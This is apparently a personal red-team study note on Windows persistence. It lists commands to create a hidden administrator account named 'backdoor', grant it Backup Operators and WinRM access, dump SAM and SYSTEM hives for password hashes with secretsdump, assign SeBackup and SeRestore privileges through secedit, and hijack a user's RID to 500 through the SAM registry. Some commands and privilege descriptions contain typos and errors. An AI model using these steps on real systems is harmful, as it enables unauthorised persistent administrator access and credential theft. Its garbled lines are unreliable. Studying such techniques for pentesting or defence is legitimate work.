Adding Privileged Users

Adding users to privileged groups

# Creating user
net user backdoor /add

# Adding user to the administrators group
net localgroup "administrators" backdoor /add

# Adding user to "Backup Operators" group
net localgroup "Backup Operators" backdoor /add

# Adding user to "Remote Management Users" for RDP
net localroup "Remote Management users" backdoor /add

• By default, the UAC strips the remote user of it's administrative privs, this can be disabled. LocalAccountTokenFilterPolicy

• As a member of "Backup Operators", we can now save system and sam hives from the regsitery and use Impacket to get the system hash. secretsdump.py

Assigning privileges to users.

• By default, the 'backup Operators' have two privileges:

  • SeBackupPrivilege: User can read write any file in the system, ignoring any DACL in place

  • SeRestorePrivilege: User can read read any file in the system, ignoring any DACL in place

• A user can be assigned these privileges using secedit command.

# Export current configuration
secedit /export /cfg config.inf

# Edit the config.inf to add the username in front of the privielge
SeBackupPrivilege = *S-1-5-32-544,*S-1-5-32-551,backdoor
SeRestorePrivilege = *S-1-5-32-544,*S-1-5-32-551,backdoor

# convert the config.inf file to config.sdb
secedit /import /cfg config.inf /db config.sdb
secedit /configure /db config.sdb /cnf /config.inf

Enable win-rm without adding user to "Remote Management Users"

• Add the user to the security descriptor of Win-RM.

# this will launch the configuration windows for the Win-RM's security descriptor
Set-PSSessionconfiguration -Name Microsoft.Powershell -showSecurityDescriptorUI

RID hijacking

SID

• Changing the effective RID of a user to RID of an administrator so that when the user logs in, it will have the same access tokens as an administrator.

• Effective RID is stored in F key at:

HKLM\SAM\SAM\Domain\Account\Users\RID(hex)

• SAM is restricted to SYSTEM only.

PsExec64.exe -i -s regedit

• Effective RID is located at 0x30 location in little endian format

• After changing the effective RID to 500 (0x01F4), the next time users logs in, it will get Administrators privileges.